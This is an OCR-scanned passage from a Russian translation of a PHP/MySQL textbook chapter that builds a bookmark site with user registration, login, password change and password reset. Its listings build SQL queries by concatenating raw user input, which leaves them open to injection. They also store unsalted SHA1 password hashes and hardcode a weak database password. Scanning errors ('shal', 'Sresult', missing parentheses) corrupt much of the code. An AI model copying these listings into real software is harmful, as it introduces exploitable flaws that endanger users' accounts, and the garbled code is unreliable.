Хранение закладок Для хранения пользовательских закладок необходимо подготовить некоторое про- странство в базе данных MySQL. Потребуется реализовать следующую функциональ- ность. Пользователи должны иметь возможность извлекать и просматривать свои за- кладки. Пользователи должны иметь возможность добавлять новые закладки. Сайт дол- жен проверять, что закладки являются допустимыми URL-адресами. Пользователи должны иметь возможность удалять закладки. Опять-таки, мы напишем функции, реализующие все перечисленные выше воз- можности. Рекомендация закладок При выборе рекомендованных закладок для конкретного пользователя можно применять различные подходы. Можно выбирать наиболее популярные либо самые популярные в конкретной области закладки. В данном проекте будет реализована система рекомендаций, основанная на принципе “сходства образа мышления”. Эта система выполняет поиск пользователей, имеющих ту же закладку, что и у вошедше- го в систему посетителя, и предлагает ему остальные закладки этих пользователей. Дабы не рекомендовать строго персональные закладки, выбираются лишь те из них, которые хранятся более чем у одного пользователя. Для реализации упомянутой функциональности будет написана еще одна функция. Обзор решения После составления ряда эскизов мы получили блок-схему, которая показана на рис. 27. К Рис. 27.1. Возможные логические пути в системе PHPBookmark 538 Часть V. Реальные проекты на РНР и MySQL
Для каждого элемента блок-схемы будет построен собственный модуль. Некоторые модули потребуют одного сценария, а другие — двух. Кроме того, будут подготовлены библиотеки функций для реализации следующих задач. Аутентификация пользователей. Хранение и извлечение закладок. Проверка данных на допустимость. Соединение с базой данных. Вывод в окно браузера. Генерация HTML-кода будет возложена на библиотеку функций. Это обеспечит единообразие визуального представления в рамках всего сайта. (В этом-то и состоит цринцип API-интерфейса — разделение логи- ки и содержимого.) Кроме того, для системы потребуется создать базу данных на сервере. Проект будет рассматриваться достаточно подробно, к тому же полный исходный код приложения доступен в каталоге chapter27 загружаемого кода. Перечень под- ключаемых файлов приводится в табл. 27.1. Таблица 27.1. Файлы приложения PHPBookmark Имя файла Описание bookmarks.sql SQL-операторы для создания базы данных PHPBookmark. login.php Титульная страница система с формой входа в систему. register_form.php Форма регистрации пользователей в системе. register_new.php Сценарий обработки новых регистрационных записей. fоrgot_fоrm.php Форма, заполняемая пользователями, забывшими пароль. forgot_passwd.php Сценарий переустановки забытых паролей. member.php Главная страница пользователя с представлением всех текущих закладок. add_bm_f orm.php Форма для добавления новых закладок. add_bms.php Сценарий добавления новых закладок в базу данных. delete_bms.php Сценарий удаления выбранных закладок из списка, связанного с кон- кретным пользователем. recommend.php Сценарий выдачи рекомендаций, основанных на пользователях со сход- ными интересами. change_passwd_form.php Форма, заполняемая пользователями, желающими сменить пароль. change_pas swd.php Сценарий смены пароля в базе данных. logout.php Сценарий выхода пользователя из приложения. bookmark_fns.php Набор подключаемых модулей для приложения. data_valid_fns.php Функции проверки допустимости данных, вводимых пользователем. db_fns.php Функции для подключения к базе данных. user_auth_fns.php Функции аутентификации пользователей. url_fns.php Функции добавления и удаления закладок, а также выработки рекомендаций. output_fns.php Функции, форматирующие вывод в виде HTML-кода. bookmark.gif Логотип приложения PHPBookmark. Глава 27. Реализация задачи аутентификации и персонализации посетителей 539
Начнем с реализации базы данных MySQL, поскольку она необходима для реали- зации почти всей функциональности приложения. Затем мы приступим к последовательному написанию кода. Начнем мы с титуль- ной страницы, далее перейдем к аутентификации пользователей, хранению и извле- чению закладок и, наконец, завершим процедурой выработки рекомендаций. Эта по- следовательность вполне логична — определяются зависимости и создаются в первую очередь элементы, которые впоследствии понадобятся для других модулей. На заметку! Для нормальной работы приложения понадобится браузер с включенной поддержкой JavaScript. Реализация базы данных База данных PHPBookmark описывается достаточно простой схемой. Необходимо хранить имена пользователей, их адреса электронной почты и пароли. Кроме того, следует хранить URL-адреса закладок. Один пользователь может иметь множество за- кладок, а одну и ту же закладку может зарегистрировать несколько пользователей. Поэтому, очевидно, что база данных должна содержать две таблицы — для пользова- телей (user) и для закладок (bookmark), как показано на рис. 27.2. user Рис. 27.2. Схема базы данных для системы PHPBookmark Таблица user хранит имя пользователя (оно же и является первичным ключом), пароль и адрес электронной почты. Таблица bookmark хранит пары “имя пользователя — закладка” (bm_URL). Каждое имя пользователя в этой таблице ссылается на соответствующее имя пользователя в таблице user. Листинг 27.1 содержит SQL-код для создания этой базы данных, а также одного пользователя для подключения к ней из среды Web. Если этот код планируется при- менять в своей системе, его следует отредактировать — заменить пароль пользовате- ля (password) более надежным! Листинг 27.1. bookmark, sql — SQL-файл для создания базы данных закладок create database bookmarks; use bookmarks; 9 create table user ( username varchar(16) not null primary key, passwd char (40) not null, email varchar(lOO) not null 540 Часть V. Реальные проекты на РНР и MySQL
create table bookmark ( username varchar(16) not null, bm_URL varchar (255) not null, index (username), index (bm_URL), primary key (username, bm_URL) grant select, insert, update, delete on bookmarks.* to bm _user@localhost identified by ’password’; Эту базу данных можно создать, выполнив данный набор команд после регистра- ции в качестве привилегированного (root) пользователя MySQL. Воспользуйтесь сле- дующей командной строкой: mysql —u root -р < bookmarks. sql Затем будет предложено ввести пароль. Теперь, когда база данных готова, давайте приступим к реализации базового вари- анта сайта. Реализация базового варианта сайта Первая страница, которую мы сейчас разработаем, будет называться login.php, поскольку она предоставляет пользователям возможность входа в систему. Код пер- вой страницы показан в листинге 27.2. Листинг 27.2'. login.php — титульная страница системы PHPBookmark <? require_once(’bookmark_fns.php’); do_html_header(’’); display_site_info(); display_login_form(); do_html_footer(); ?> Этот код выглядит очень простым, поскольку в нем, в основном, вызываются функции из API-интерфейса, который мы разработаем для данного приложения. Подробное описание этих функций можно найти ниже. Несложно заметить, что вы- полняется включение файла (содержащего функции), а затем вызываются функции визуализации HTML-заголовка, отображения содержимого и отображения нижнего колонтитула страницы. Вывод сценария показан на рис. 27.3. Функции системы помещены в файл bookmark fns .php, содержимое которого приведено в листинге 27.3. Глава 27. Реализация задачи аутентификации и персонализации посетителей 541
Рис. 27.3. Титульная страница системы PHPBookmark, сгенерированная функциями визуализации HTML-кода из файла login.php Листинг 27.3. bookmark_fns .php — включаемый файл с функциями для приложения PHPBookmark <? // Этот файл можно включать во всех остальных файлах. В результате // каждый файл будет содержать все необходимые функции и исключения. require_once('data_valid_fns.php’); require_once(’db_fns.php'); require_once('user_auth_fns.php'); require_once(’output_fns.php’); require_once(’url_fns.php’); ?> Как видите, этот файл служит лишь контейнером для пяти других включаемых файлов, которые будут использоваться в нашем приложении. Данная структура про- екта объясняется тем, что функции разбиты на логические группы. Некоторые из групп могут применяться в других проектах, поэтому каждая группа помещается в отдельный файл. Мы создали файл bookmark fns .php потому, что большая часть функций в упомянутых пяти файлах будет использоваться в большинстве сценариев приложения PHPBookmark. Гораздо проще включать один файл в каждый сценарий, нежели указывать целых пять операторов require. В нашем конкретном случае используются функции из файла output fns .php. Они реализуют вывод простого HTML-содержимого. Данный файл содержит четыре функции, которые уже были задействованы в файле login.php — do_html_header (), display_site_infо(), display_login_form() и do_html_footer(), а также ряд других. Мы не будем подробно исследовать абсолютно все функции, а просто рассмотрим в качестве примера одну из них. Код функции do_html_header.() представлен в лис- тинге 27.4. 542 Часть V. Реальные проекты на РНР и MySQL
Листинг 27.4. Функция do_html_header () из библиотеки output_fns .php — эта функция выводит стандартный заголовок, который отображается на каждой странице приложения function do_html_header($title) { // Вывод HTML-заголовка ?> <html> <head> <titlex?php echo $title; ?></title> <style> body { font-family: Arial, Helvetica, sans-serif; font-size: 13px } li, td { font-family: Arial, Helvetica, sans-serif; font-size: 13px } hr { color: #3333cc; width=300px; text-align:left } a { color: #000000 } </style> </head> <body> cimg src="bookmark.gif" а1Ь="Логотип PHPbookmark” border="0" align="left" valign="bottom" height="55" width="57" /> <hl>PHPbookmark</hl> <hr /> <?php if($title) { do_html_heading($title); } } Несложно заметить, что вся логика функции do html header () сводится к добав- лению заголовка и логотипа к странице. Остальные функции, которые мы использо- вали в файле login.php, подобны данной. Функция display site info () добавляет текстовое описание к сайту; display login form () отображает форму входа в сис- тему, показанную на рис. 27.3; do html footer () включает в страницу стандартный нижний HTML-колонтитул. Преимущества изоляции либо удаления HTML-кода из главного потока логики об- суждались в главе 25. Здесь мы будем использовать подход, основанный на API-интер- фейсе функций. На рис. 27.3 хорошо видно, что страница предлагает три варианта — пользо- ватель может зарегистрироваться, войти в систему, если он уже зарегистрирован* либо же переустановить пароль, если он его забыл. Реализация этих модулей рас- сматривается в следующем разделе, который посвящен аутентификации пользова- телей. Реализация аутентификации пользователей Модуль аутентификации пользователей содержит четыре главных элемента: реги- страцию пользователей, вход и выход из системы, смену паролей и переустановку паролей. Рассмотрим по очереди все элементы. Регистрация пользователей Чтобы зарегистрировать пользователя, необходимо через форму получить сведе- ния о нем и поместить их в базу данных. Глава 27. Реализация задачи аутентификации и персонализации посетителей 543
Когда пользователь выполняет щелчок на ссылке Зарегистрироваться, которая на- ходится на странице login .php, для него выводится форма регистрации, сгенерирован- ная сценарием register form.php. Код этого сценария представлен в листинге 27.5. Листинг 27.5. register_form.php — эта форма дает пользователям возможность зарегистрироваться в системе PHPBookmark <?php require__once (' bookmark_fns . php') ; do_html_header('Регистрация пользователей'); display__registration_form () ; do_html_footer() ; Эта страница также достаточно проста и осуществляет лишь вызов функций из библиотеки поддержки вывода — output fns.php. Вывод сценария можно ви- деть на рис. 27.4. Форма с фоном серого цвета на этой странице представляет собой вывод функ- ции display_registration_form (), которая содержится в файле output_fns .php. Когда пользователь выполняет щелчок на кнопке Регистрация, выполняется сцена- рий register new.php, код которого показан в листинге 27.6. Рис. 27.4. Регистрационная форма извлекает сведения, необходимые для занесения в базу данных. Во избежание ошибок пользователям предлагается ввести пароль два раза Листинг 27.6. register_new.php — этот сценарий проверяет допустимость вводимой пользователем информации и помещает ее в базу данных <?php // Включить файлы функций для данного приложения require_once(*bookmark_fns.php'); // Создать короткие имена переменных $email=$_POST['email’]; $username=$_POST['username']; $passwd=$_POST['passwd']; $passwd2=$_POST[’passwd2']; 544 Часть V. Реальные проекты на РНР и MySQL
// Запустить сеанс, который может потребоваться позже. // Его следует запустить сейчас, поскольку это должно // делаться перед заголовками. session_start (); try { // Проверить, заполнены ли поля формы if (!filled_out($_POST)) { throw new Exception(’Вы не заполнили корректно форму. Пожалуйста, ’ .’вернитесь на форму и повторите попытку.’); } / / Недопустимый адрес электронной почты if (!valid_email($email)) { throw new Exception(’Недопустимый адрес электронной почты. Пожалуйста, ’ .’вернитесь на форму и повторите попытку.’); } // Проверить допустимость длины пароля. // Имя пользователя может быть усечено, но не пароль if ( (strlen ($passwd) < 6) I I (strlen ($passwd) > 16)) { throw new Exception(’Пароль должен содержать от 6 до 16 символов. ’ .’Пожалуйста, вернитесь на форму и повторите попытку.’); } / / Предпринять попытку регистрации. Эта функция / / также может сгенерировать исключение register($username, $email, $passwd); // Зарегистрировать переменную сеанса $_SESSION[’valid_user’] = $username; / / Вывести ссылку на страницу, предназначенную // для зарегистрированных пользователей do_html_header(’Успешная регистрация’); echo ’Ваша регистрация прошла успешно. Переходите на страницу ’ . ’для зарегистрированных пользователей ’ . ’ и приступайте к созданию закладок!’; do_html_url(’member.php’, ’Перейти на страницу для зарегистрированных пользователей’); / / Конец страницы do_html_footer(); } catch (Exception $e) { do_html_header('Problem:’); echo $e->getMessage(); do_html_footer(); exit/ } Глава 27. Реализация задачи аутентификации и персонализации посетителей 545
Это первый более-менее сложный сценарий, с которым мы встретились в данном приложении. Он начинается с включения файлов функций и запуска сеанса. (После регистрации пользователя создается переменная сеанса, содержащая имя пользовате- ля, как это имело место в главе 23.) Тело сценария помещено в блок try, поскольку выполняется проверка множества условий. Если какое-то из условий завершается неудачно, выполнение переходит на блок catch, который мы вскорости рассмотрим. Затем осуществляется проверка допустимости данных, введенных пользователем. Нам необходимо выполнить множество проверок. Проверить, что форма полностью заполнена. Для этого применяется функция filled_out(): if (!filled_out($_POST)) Эту функцию мы написали самостоятельно. Она содержится в библиотеке data valid fns .php и будет рассматриваться чуть позже. Проверить допустимость предоставленного адреса электронной почты: if (valid_email($email)) Эта функция также написана нами и содержится в библиотеке data valid fns .php. Проверить идентичность обоих вариантов пароля, введенных пользователем: if ($passwd != $passwd2) Проверить пароль на допустимую длину: if (strlen($passwd) < 6) и if (strlen($passwd) > 16) В нашем примере длина пароля должна составлять не менее шести символов, чтобы его было сложнее угадать, а длина имени пользователя должна быть не боЛее 16 символов, чтобы он уместился в базе данных. Использованные выше функции проверки допустимости данных filled out () и valid email () показаны, соответственно, в листингах 27.7 и 27.8. Листинг 27.7. Функция filled_out () из библиотеки data__valid_fns .php — эта функция проверяет, заполнена ли форма function filledout($form_vars) { // Проверить, что каждая переменная имеет значение foreach ($form_vars as $key => $value) { if ((! isset($key)) || ($value == ’’)) return false; } return true; 546 Часть V. Реальные проекты на РНР и MySQL
» Листинг 27.8. Функция valid_email () из библиотеки data_valid_fns.php — •i эта функция проверяет допустимость адреса электронной почты function valid_email($address) { // Проверить допустимость адреса электронной почты if (ereg('А[a-zA-Z0-9_\.\-]+@[a-zA-Z0-9\-]+\.[a-zA-Z0-9\-\.]+$', $address)) { return true; } else { return false; } } Функция filled out () ожидает получить массив переменных — в общем случае таковым может быть $_POST или $_GET. Если массив заполнен, функция возвращает значение true, а в противном случае — false. В функции valid email () для проверки адресов электронной почты применяет- ся несколько более сложное регулярное выражение, нежели то, которое было пред- ложено в главе 4. Если адрес является допустимым, функция возвращает значение true, в противном случае — false. После проверки введенных пользователем данных можно предпринять попытку зарегистрировать пользователя. Как видно в листинге 27.6, это выполняется следую- щим образом: register($username, $email, $passwd); // Зарегистрировать переменную сеанса $_SESSION['valid_user’] = $username; /1 Вывести ссылку на страницу, предназначенную // для зарегистрированных пользователей do_html_header(’Успешная регистрация'); echo 'Ваша регистрация прошла успешно. Переходите на страницу ’ . ’для зарегистрированных пользователей ' . 'и приступайте к созданию закладок!'; do_html_url('member.php', 'Перейти на страницу для зарегистрированных пользователей'); / / Конец страницы do_html_footer() ; Несложно заметить, что мы просто вызываем функцию register () и передаем ей имя пользователя, адрес электронной почты и пароль, которые были введены в форме регистрации. В случае успешного исхода мы регистрируем имя пользователя как переменную сеанса и выводим ссылку на главную страницу зарегистрированных пользователей. (Если регистрация завершается неудачей, эта функция сгенерирует исключение, которое будет перехвачено блоком catch.) Вывод сценария показан на рис. 27.5. Функция register () находится во включенной библиотеке user auth fns. php и показана в листинге 27.9. , Глава 27. Реализация задачи аутентификации и персонализации посетителей 547
.м^гмж .......................... « Я Ffe Edit View History gpokmarks Tods Hdp I® * 0 A ’fi& ; LJ ht^>:/Ax3f»stArfpm¥sd/27Ae^star_new.php - j PHPbookmark Успешная регистрация Ваша регистрация прошла успешно Переходите на страницу для зарегистрированных пользователей и приступайте к созданию закладок? net уйти на страницу шя зх<гищ>ш аннкх пот» эо. целей Done Рис. 27.5. Регистрация прошла успешно — посетитель может перейти на страницу, которая предназначена для зарегистрированных пользователей Листинг 27.9. Функция register () из библиотеки user_auth_fns .php — эта функция предпринимает попытку ввода информации о новом пользователе в базу данных function register(Susername, Semail, $password) { // Регистрирует нового пользователя в базе данных. // Возвращает либо true, либо сообщение об ошибке. // Подключиться к базе данных $conn = db_connect(); // Проверить, уникально ли имя пользователя Sresult = $conn->query("select * from user where username=Susername.’”") ; if (’Sresult) { throw new Exception(’Невозможно выполнить запрос к БД’); } if ($result->num_rows >0) { throw new Exception(’Это имя пользователя уже занято — вернитесь ’ . ' на форму регистрации и выберите другое имя.’); } // Если все в порядке, сохранить информацию в БД Sresult = $conn->query("insert into user values ( . Susername. " ', shal ( ”’. Spassword.’” ) , ’’’.Semail.’”)"); if (!Sresult) { throw new Exception(’Невозможно сохранение в БД - пожалуйста, ’ .’попытайтесь позже.’); } return true; Эта функция не содержит ничего особо нового — она осуществляет подключение к созданной ранее базе данных. Если выбранное имя пользователя уже задействовано либо база данных не может быть обновлена, функция генерирует исключение. В про- тивном случае база данных обновляется и возвращается значение true. Следует заметить, что подключение к базе данных реализуется через написанную ранее функцию db_connect (). Эта функция просто обеспечивает единственную об- ласть хранения имени пользователя и пароля для подключения к базе данных. Таким 548 Часть V. Реальные проекты на РНР и MySQL
образом, для изменения пароля для доступа в базу данных достаточно изменить толь- ко один файл приложения. Код функции db connect () приведен в листинге 27.10. Листинг 27.10. Функция db_connect() из библиотеки db_fns.php — эта функция выполняет подключение к базе данных MySQL function db_connect ()* { $result = new mysqli('localhost', 'bm_user', ’password’, ’bookmarks’); if (!$result) { throw new Exception(’Невозможно подключиться к серверу баз данных'); } else { return $result; } } Зарегистрированные пользователи могут входить и выходить из системы через обычные страницы, предназначенные для этих целей. Они буду разработаны в сле- дующих разделах. Вход в систему После того как пользователи внесут необходимые данные в форму, что обеспечивает сценарий login.php (см. рис. 27.3) и отправят ее, должен запуститься сценарий mem- ber, php. Этот сценарий обеспечивает вход в систему. Кроме того, этот же сценарий отображает связанные с пользователями закладки. Это основная функциональность ос- тавшейся части приложения. Код упомянутого сценария показан в листинге 27.11. Листинг 27.11. member .php — этот сценарий является основой всего приложения <?php / / Включить файлы функций для данного приложения require_once(’bookmark_fns.php’); session_start(); / / Создать короткие имена переменных $username = $_POST[’username’]; $passwd = $_POST[’passwd']; if ($username && $passwd) { // Пользователь только что попытался войти в систему try { login($username, $passwd); // Если пользователь записан в базе данных, / / зарегистрировать его идентификатор $_SESSION[’valid_user'] = $username; } catch(Exception $e) { // Неудачный вход в систему do_html_header(’Проблема:’); echo 'Вход в систему невозможен. ' . 'Для просмотра этой страница необходимо войти в систему.'; do_html_url('login.php', 'Login'); do_html_footer(); exit; } } Глава 27. Реализация задачи аутентификации и персонализации посетителей 549
do_html_header(’Домашняя страница'); check_valid_user(); // Извлечь все закладки, сохраненные этим пользователем if ($url_array = get_user_urls($_SESSION[’valid_user’])) { display_user_urls($url_array); } // Вывести меню опций display_user_menu(); do_html_footer() ; ?> Логика этого сценария должна быть легко узнаваемой, поскольку в нем использу- ются некоторые идеи из главы 23. Первым делом выполняется проверка, осуществил ли пользователь переход из ти- тульной страницы. Другими словами, заполнил ли он форму входа в систему. Затем предпринимается попытка пустить пользователя в систему: if ($username && $passwd) { // Пользователь только что попытался войти в систему try { login($username, $passwd); /1 Если пользователь записан в базе данных, // зарегистрировать его идентификатор $_SESSION[’valid_user'] = $username; } Для входа в систему используется функция login (). Она содержится в библиоте- ке user auth fns .php и рассматривается ниже. Если попытка входа в систему оказывается успешной, сеанс будет зарегистриро- ван, как это делалось ранее. При этом имя пользователя сохраняется в переменной сеанса valid_user. Если все идет нормально, отображается страница, предназначенная для зарегист- рированных пользователей: do_html_header('Домашняя страница'); check valid__user () ; // Извлечь все закладки, сохраненные этим пользователем if ($url_array = get_user_urls($_SESSION['valid-User’])) { display_user_urls($url_array); } // Вывести меню опций display_user_menu (); do_html_footer(); Эта страница также формируется при помощи функций вывода. Легко заметить, что в ней используется несколько новых функций — check valid user () из файла user_auth_fns .php, get_user_urls () из файла url_fns .php и display_user_urls () из файла output_fns .php. Функция check valid user () проверяет, связан ли с те- кущим пользователем зарегистрированный сеанс. Она предназначена для пользовате- лей, которые открыли сеанс ранее, а не только что вошли в систему. Функция get user urls () извлекает закладки пользователя из базы данных, а display user urls () отображает закладки в браузере. 550 Часть V. Реальные проекты на РНР и MySQL
Код функции check valid user () будет рассмотрен немного ниже, а код осталь- ных двух функций — во время обзора процесса хранения и извлечения закладок. Сценарий member .php завершает страницу выводом меню с использованием функ- ции display_user_menu(). Пример вывода сценария member .php показан на рис. 27.6. Рис. 27.6. Сценарий member .php проверяет, вошел ли пользователь в систему, извлекает и отображает его закладки, а затем выводит меню Теперь более подробно рассмотрим функции login () и check valid user (). Код функции login () представлен в листинге 27.12. Листинг 27.12. Функция login () из библиотеки user_auth_fns .php — эта функция проверяет сведения о пользователе в базе данных function login($username, $password) { // Проверяет наличие имени пользователя и пароля в базе данных. // Если они там содержатся, возвращается значение true, //в противном случае генерируется исключение. // Подключиться к базе данных $conn = db_connect(); // Проверить уникальность имени пользователя $result = $conn->query("select * from user where username=’’’.$username."' and passwd = shal(’".$password.'”)”); if (!$result) { throw new Exception(’Вход в систему невозможен’); } if ($result->num_rows >0) { return true; } else { throw new Exception('Вход в систему невозможен’); } } Глава 27. Реализация задачи аутентификации и персонализации посетителей 551
Функция login () подключается к базе данных и проверяет в ней наличие ком- бинации имени и пароля для данного пользователя. Если эти записи присутствуют, возвращается значение true, в противном случае, либо когда данные пользователя не могут быть проверены, генерируется исключение. Функция check valid user () не выполняет повторного подключения к базе дан- ных, однако проверяет, что с пользователем связан зарегистрированный сеанс. Другими словами, пользователь вошел в систему ранее. Эта функция показана в лис- тинге 27.13. Листинг 27.13. Функция check__valid_user () из библиотеки user_auth_fns.php — эта функция проверяет, связан ли с пользователем допустимый сеанс function check_valid_user () { // Определяет, вошел ли пользователь в систему и, // если нет, выводит соответствующее уведомление if (isset ($_SESSION['’ valid_user’ ]) ) { echo "Вы вошли в систему под именем ".$_SESSION[’valid_user’].".<br />"; } else { // Пользователь не вошел в систему do__html_heading (’ Problem: ’) ; echo 'Вы не вошли в систему.<br />'; do_html_url(’login.php*, ’Login’); do_html_footer() ; exit; } 1___________________________________________________________________________________ Если пользователь не вошел в систему, функция укажет ему, что это необходимо выполнить, чтобы данная страница отобразилась, и предоставит ему ссылку на стра- ницу входа. Выход из системы Как видно на рис. 27.6, меню содержит ссылку Выход. Щелчок на этой ссылке приво- дит к вызову сценария logout .php. Код сценария показан в листинге 27.14. Листинг 27.14. logout.php — этот сценарий завершает сеанс пользователя <?php // Включить файлы функций для этого приложения reguire_once(’bookmark_fns.php’); session_start(); $old_user = $_SESSION['valid_user’]; // Сохранить для проверки, если кто-то вошел в систему ранее unset($_SESSION[’valid_user’]); $result_dest = session_destroy(); // Начать вывод HTML-содержимого do_html_header (’ Выход') ; if (!empty($old_user)) { if ($result_dest) { // Если пользователь вошел в систему и теперь выходит из нее echo ’Успешный выход из системы.<br />’; do_html_ur1(’login.php’, ’Вход’); } else { 552 Часть V. Реальные проекты на РНР и MySQL
// Пользователь вошел в систему и не может выйти из нее echo ’Выход из системы невозможен.<Ьг />’; } } else { // Если пользователь не входил в систему, //но каким-то образом попал на эту страницу echo ’Вы не входили в систему, поэтому и не должны выходить.<Ьг />’; do_html_url('login.php', ’Вход'); } do_html_footer(); И снова этот код может показаться знакомым. В нем использованы некоторые идеи, которые рассматривались в главе 23. Смена пароля Если пользователь выберет опцию меню Сменить пароль, отобразится форма, по- казанная на рис. 27.7. ашиекнтьпаижь-могтаFirefox м 011® Rie Edit View History Bookmarks loote Hefc M: c http. form php PHPbookmark Изменить пароль Вы вошли в систему под именем neverbeen Старый пароль: Новый пароль: Подтверждение нового пароля Изменить пароль Главная | Добавить закладку | I Сменить пароль : Рекомендовать адреса мне I Выход , i Done Рис. 27.7. Сценарий change_passwd_form.php предоставляет форму для смены паролей Эта форма сгенерирована сценарием change passwd form.php. Он достаточно прост и использует лишь функции библиотеки вывода, поэтому его код здесь не рас- сматривается. После отправки формы запускается на выполнение сценарий change passwd.php, код которого показан в листинге 27.15. Листинг 27.15. changejpasswd.php — этот сценарий предпринимает попытку смены пароля <?php require_once(’bookmark_fns.php’); session_start(); do__html__header (’ Смена пароля ’) ; Глава 27. Реализация задачи аутентификации и персонализации посетителей 553
// Создать короткие имена переменных $old_passwd = $_POST['old_passwd'] ; $new_passwd = $_POST['new_passwd']; $new_passwd2 = $_POST['new_passwd2 *]; try { check_valid_user(); if (!filled_out($_POST)) { throw new Exception('Вы не заполнили корректно форму. ’ .'Пожалуйста, попытайтесь еще раз.'; } if ($new_passwd != $new_passwd2) { throw new Exception('Введенные пароли не совпадают. ' .'Изменение невозможно.'; } if ( (strlen($new_passwd) > 16) || (strlen($new_passwd) < б) ) { throw new Exception('Новый пароль должен иметь длину, как минимум, ' . 'б символов. Повторите попытку. '; } // Попытка обновить БД change_password($_SESSION['valid_user'], $old_passwd, $new_passwd); echo 'Пароль изменен.'; } catch (Exception $e) { echo $e->getMessage(); } display_user_menu(); do_html_footer(); ?> Этот сценарий проверяет, вошел ли пользователь в систему (с помощью функции check_valid_user ()), заполнил ли он форму ввода пароля (с использованием filled out ()), введены ли в обоих полях одинаковые пароли и является ли длина этих паролей допустимой. Как видите, ничего нового. Если все правильно, вызывает- ся функция change_pas sword (): change_password ($_SESSION [ 'valid_user' ], $old_passwd, $new_passwd) ; echo 'Пароль изменен. '; Эта функция содержится в библиотеке user auth fns .php, а ее код показан в листингё 27.16. Листинг 27.16. Функция change_password() из библиотеки user_auth_fns. php — эта функция предпринимает попытку обновления пароля в базе данных function change_password($username, $old_password, $new_password) { // Заменяет старый пароль новым. / / Возвращает значение true или генерирует исключение // Если прежний пароль введен правильно, он заменяется новым и возвращается // значение true, в противном случае генерируется исключение login($username, $old_password); $conn = db_connect (); $result = $conn->query("update user set passwd = shal('".$new_password."') where username = '" . $username 554 Часть V. Реальные проекты на РНР и MySQL:1 ’
if (!$result) { throw new Exception(’Пароль не может быть изменен.’); } else { return true; // Пароль успешно изменен } Эта функция проверяет правильность ввода прежнего пароля с помощью уже рас- смотренной функции login (). Если пароль указан верно, функция соединяется с ба- зой данных и обновляет пароль новым значением. Переустановка забытых паролей Помимо смены пароля необходимо предусмотреть еще одну часто возникающую ситуацию, когда пользователь попросту забывает пароль. Обратите внимание, что титульная страница, выводимая login.php, содержит ссылку Забыли пароль?, кото- рая предназначена для случаев подобного рода. Ссылка инициирует запуск сценария forgot form.php, который использует функции вывода для отображения форчы (рис. 27.8). ......... ...... .сз ® £1 Ейе gdit History gookmarks Tools Help ’ О "*. я, http- /tocabost/phprnysql/2 /forgot for php ' .T ’ PHPbookmark Переустановка пароля Введите имя: ! Переустановить пароль ] Done Рис. 27.8. Сценарий forgot form.php выводит форму, в которой пользователь может запросить переустановку и отправку пароля по электронной почте Этот сценарий очень прост. В нем используются лишь функции вывода, поэто- му его код здесь не рассматривается. После отправки формы вызывается сценарий forgot passwd.php, который заслуживает специального рассмотрения. Код этого сценария показан в листинге 27.17. Листинг 27.17. forgotjpasswd.php — этот сценарий переустанавливает пароль, выбирая для него случайное значение, и отправляет новую версию пользователю по электронной почте <?php require_once(*bookmark_fns.php’); do_html_header(’Переустановка пароля*); // Создать короткие имена переменных Susername = $_POST[’username’]; Глава 27. Реализация задачи аутентификации и персонализации посетителей 555
try { $password = reset_password($username); notify_password($username, $password); echo ’Новый пароль отправлен по адресу электронной почты, * .’который вы указали при регистрации.<Ьг />'; } catch (Exception $е) { echo ’Пароль не может быть переустановлен. ’ .’Пожалуйста, повторите попытку позже.’; } do_html_url(’login.php', 'Вход'); do_html_footer(); ?> В сценарии задействованы две основных функции: reset_password () и notify_ password (). Давайте рассмотрим их по очереди. Функция reset passwordf) генерирует случайный пароль и помещает его в базу данных. Ее код можно найти в листинге 27.18. Листинг 27.18. Функция reset_password() из библиотеки user_auth_fns.php — этот сценарий присваивает паролю случайное значение и отправляет его пользователю по электронной почте function reset_password($username) { // Устанавливает случайное значение для пароля. // Возвращает новый пароль либо значение false в случае ошибки // Получить случайное слово из словаря длиной от 6 до 13 символов $new_password = get_random_word(6, 13); if ($new_password == false) { throw new Exception(’Невозможно сгенерировать новый пароль.’); } // Добавить к нему число от 0 до 999 с целью небольшого улучшения $rand_number = rand(0, 999); $new_password .= $rand_number; // Изменить пароль в базе данных или вернуть значение false $conn = db_connect (); $result = $conn->query("update user set passwd = shal( ”'.$new_password."’) where username = ’ ’’. $username.'""); if (!$result) { throw new Exception(’Невозможно изменить пароль.'); // Пароль не изменен } else { return $new_password; // Пароль успешно изменен } } Функция reset password () генерирует случайный пароль, получив случайное слово из словаря с помощью функции get random word () и добавив к нему случай- ное число от 0 до 999. Функция get random word () также содержится в библиотеке user auth fns .php. Ее код показан в листинге 27.19. 556 Часть V. Реальные проекты на РНР и MySQL
Листинг 27.19. Функция get_random_word() из библиотеки user_auth_fns .php — эта функция получает случайное слово из словаря, используемое при генерации пароля function get_random_word ($min_length, $max__length) { // Извлекает случайное слово из словаря в заданном диапазоне // длины и возвращает его в качестве результата // Сгенерировать случайное слово $word - * * ; //Не забудьте изменить этот путь на тот, // который будет соответствовать вашей системе $dictionary = '/usr/dict/words’; // словарь ispell $fp = fopen($dictionary, *r’); if(!$fp) { return false; } $size = filesize($dictionary); // Перейти на случайную позицию в словаре srand ((double) microtime () * 1000000); $rand_location = rand(0, $size); fseek($fp, $rand_location); I/ Получить из файла словаря следующее полное слово допустимой длины while ((strlen($word) < $min_length) || (strlen($word) > $max_length) || (strstr ($word, ’”’’))) { if (feof($fp)) { fseek($fp, 0); // если достигнут конец файла словаря, // перейти на его начало } $word = fgets($fp, 80); // пропустить первое слово, поскольку // оно может оказаться неполным $word = fgets($fp, 80); // потенциальный пароль }; $word=trim($word); // выполнить усечение завершающих символов // \п в результате функции fgets return $word; } Функция работает только при наличии словаря. В системе Unix встроенная про- грамма проверки орфографии ispell укомплектована словарем, который обычно содержится в каталоге /usr/dict/words, как в нашем примере, или же в каталоге /usr/share/dict/words. Если вам не удалось отыскать файл словаря ни в одном из упомянутых мест, в большинстве систем имеется возможность поискать его, набрав следующую команду: $ locate dict/words Если используется другая операционная система либо же нет желания устанавли- вать словарь, не стоит особенно переживать. Список слов, используемый програм- мой ispell, можно загрузить из следующего сайта: http://wordlist.sourceforge.net/ Этот сайт содержит также словари на многих языках (отличных от английского). Поэтому для получения случайного слова, скажем, на норвежском языке или эспе- ранто, можно загрузить соответствующий словарь. В файлах словарей каждое слово содержится в отдельной строке, а разделителями служат символы новой строки. Глава 27. Реализация задачи аутентификации и персонализации посетителей 557
